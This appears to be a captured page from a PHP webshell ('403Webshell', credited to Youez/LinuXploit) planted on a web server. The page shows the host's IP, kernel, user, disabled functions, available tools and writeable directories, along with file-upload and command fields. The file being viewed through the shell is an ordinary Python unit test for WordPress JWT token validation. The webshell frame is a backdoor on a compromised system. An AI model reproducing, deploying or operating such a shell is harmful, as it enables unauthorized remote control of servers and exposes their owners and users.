403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.229
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/www/html/api.johnturman.net/tests/unit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/www/html/api.johnturman.net/tests/unit/test_wp_validate_token.py
"""Unit tests for WpService.validate_token — the Article Studio's auth gate.

Two jwt-auth plugin response shapes are in the wild and our sites run both. The
older one (which our local dev WordPress returns) has no `success` field, so a
check for `success` alone rejects perfectly valid tokens and locks every user
out of the studio. Both shapes are pinned here.
"""

from unittest.mock import MagicMock, patch

import requests

from app.appTypes import SiteConfig
from app.services.wp import WpService


def make_site() -> SiteConfig:
    return SiteConfig(
        cb_host="chat.foo.test", api_host="http://api.foo.test", wp_host="http://foo.test",
        wp_dir="foo", drupal_host="http://drupal.test", drupal_api="/jsonapi",
        slug="foo", drupal_uid="user-uuid", drupal_target_id=5,
    )


def fake_response(status: int, payload=None, raises: bool = False) -> MagicMock:
    resp = MagicMock()
    resp.status_code = status
    if raises:
        resp.json.side_effect = ValueError("not json")
    else:
        resp.json.return_value = payload or {}
    return resp


def run_validate(response=None, side_effect=None, token="a-token"):
    with patch("app.services.wp.requests.post", return_value=response,
               side_effect=side_effect) as post:
        result = WpService().validate_token(make_site(), token)
    return result, post


def test_accepts_older_plugin_shape_without_success_field():
    """HTTP 200 + jwt_auth_valid_token, no `success` key — our dev WordPress."""
    result, _ = run_validate(fake_response(200, {
        "code": "jwt_auth_valid_token", "data": {"status": 200},
    }))
    assert result is not None


def test_accepts_newer_plugin_shape_with_success_field():
    result, _ = run_validate(fake_response(200, {
        "success": True, "code": "jwt_auth_valid_token", "data": {"status": 200},
    }))
    assert result is not None


def test_rejects_forbidden_token():
    """An invalid or foreign-site token comes back 403."""
    result, _ = run_validate(fake_response(403, {
        "code": "jwt_auth_invalid_token", "message": "Wrong number of segments",
    }))
    assert result is None


def test_rejects_missing_token_without_calling_wordpress():
    for token in (None, ""):
        result, post = run_validate(fake_response(200, {"code": "jwt_auth_valid_token"}),
                                    token=token)
        assert result is None
        post.assert_not_called()


def test_rejects_unrecognized_200_body():
    """Fail closed: an auth gate must not pass a body it does not understand."""
    result, _ = run_validate(fake_response(200, {"code": "something_else"}))
    assert result is None


def test_rejects_non_json_and_network_errors():
    result, _ = run_validate(fake_response(200, raises=True))
    assert result is None

    result, _ = run_validate(side_effect=requests.RequestException("boom"))
    assert result is None


def test_validates_against_the_given_sites_wordpress():
    """The request must go to this site's host — that is what scopes the token."""
    _, post = run_validate(fake_response(200, {"code": "jwt_auth_valid_token"}))
    url = post.call_args.args[0]
    assert url == "http://foo.test/wp-json/jwt-auth/v1/token/validate"
    assert post.call_args.kwargs["headers"]["Authorization"] == "Bearer a-token"

Youez - 2016 - github.com/yon3zu
LinuXploit